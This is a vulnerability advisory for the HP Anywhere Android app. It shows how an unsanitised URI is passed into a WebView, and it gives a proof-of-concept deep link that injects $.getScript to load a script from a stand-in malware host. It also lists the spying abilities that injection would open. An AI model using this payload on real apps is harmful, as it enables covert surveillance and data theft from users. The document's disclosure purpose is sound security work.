Code Injection Vulnerability in the HP Anywhere App for Android

The HP Anywhere app for Android (https://play.google.com/store/apps/details?id=com.hp.ee) contains a code injection vulnerability, which allows an attacker to gain excessive Android permissions.

The following code (in class AndroidActivity) is vulnerable:

```
private void openSchemeURI(Intent paramIntent) {
if((paramIntent.getDataString() != "") &&
(paramIntent.getDataString() != null))
  {
    String str = paramIntent.getDataString();
    runDelayedJS(getIntent(), "handleOpenURL('" + str + "');");
  }
 }
```

The problem is that the variable "str" can be controlled by an attacker to inject the JavaScript code.

For example, an attacker can call

hpanywhere://a/b#');$.getScript('http://malware.com/attack.js

This has the effect that

handleOpenURL('hpanywhere://a/b#');$.getScript('http://malware.com/attack.js');

is called in the app's WebView, i.e., the script http://malware.com/attack.js is actually executed.

HP Anywhere uses Apache Cordova (PhoneGap) and activates the following Cordova plugins:

DownloaderPlugin, LaunchAppPlugin,
PackageAddedListenerPlugin, PackageChangedListenerPlugin,
PackageInstallCancelListenerPlugin,
PackageRemovedListenerPlugin, WebIntentPlugin, IsAppInstalledPlugin,
DeviceModelPlugin, DeletePackagePlugin, GCMPlugin, SoftKeyBoard,
FileOpener, ForegroundGallery, DeviceId, SmsPlugin, Screenshot,
DeviceDisplayMetrics, AddToHomescreenPlugin, BarcodeScanner,
GetAppInfoPlugin, SharedPreferencesDataStoragePlugin

Having access to these plugins, there are many possibilities for an attacker to spy on his victim, especially because the app itself has a lot of assigned Android permissions. To name some examples (all without any user interaction!):

- Create screenshots (which means an attacker can see the content of the users' phone at any time)
- Create new icons
- Activate the microphone and record every spoken word and transfer the data to an attacker-controlled server
- Collect and transmit arbitrary files from the SD card directory of the Android device, here data of other apps and also the Pictures which have been taken by the user using the device camera are stored. [Also: copy data to the user' device]

- Track the geo position of the user at any time and transmit the data to the attacker
- Readout all stored contacts of the victim and transmit them to the attacker, even add or manipulate any of them
- Send arbitrary messages (for example, error dialogs, push messages) to the device, for example as part of an additional social engineering attack
- Check if a specific app is installed on the users' phone, start any installed app

The high risk comes from the fact that there is no user interaction necessary for exploiting this issue, nor has the app to be started. Opening a malicious website in the default browser, like Chrome, is enough for attacking the victim. The hpanywhere://-URL will start the app and execute the injected JavaScript-Code. Except from the fact that the HPAnywhere app is started, the injected code is invisible for the user.

Many possibilities exist to lead the victim to open such a malicious link, e.g.

- send phishing emails
- create fake web sites, which deceptively look like a serious website
- include the attack code in some malicious ad on any website
- create a special QR code that leads the victim to the malicious website.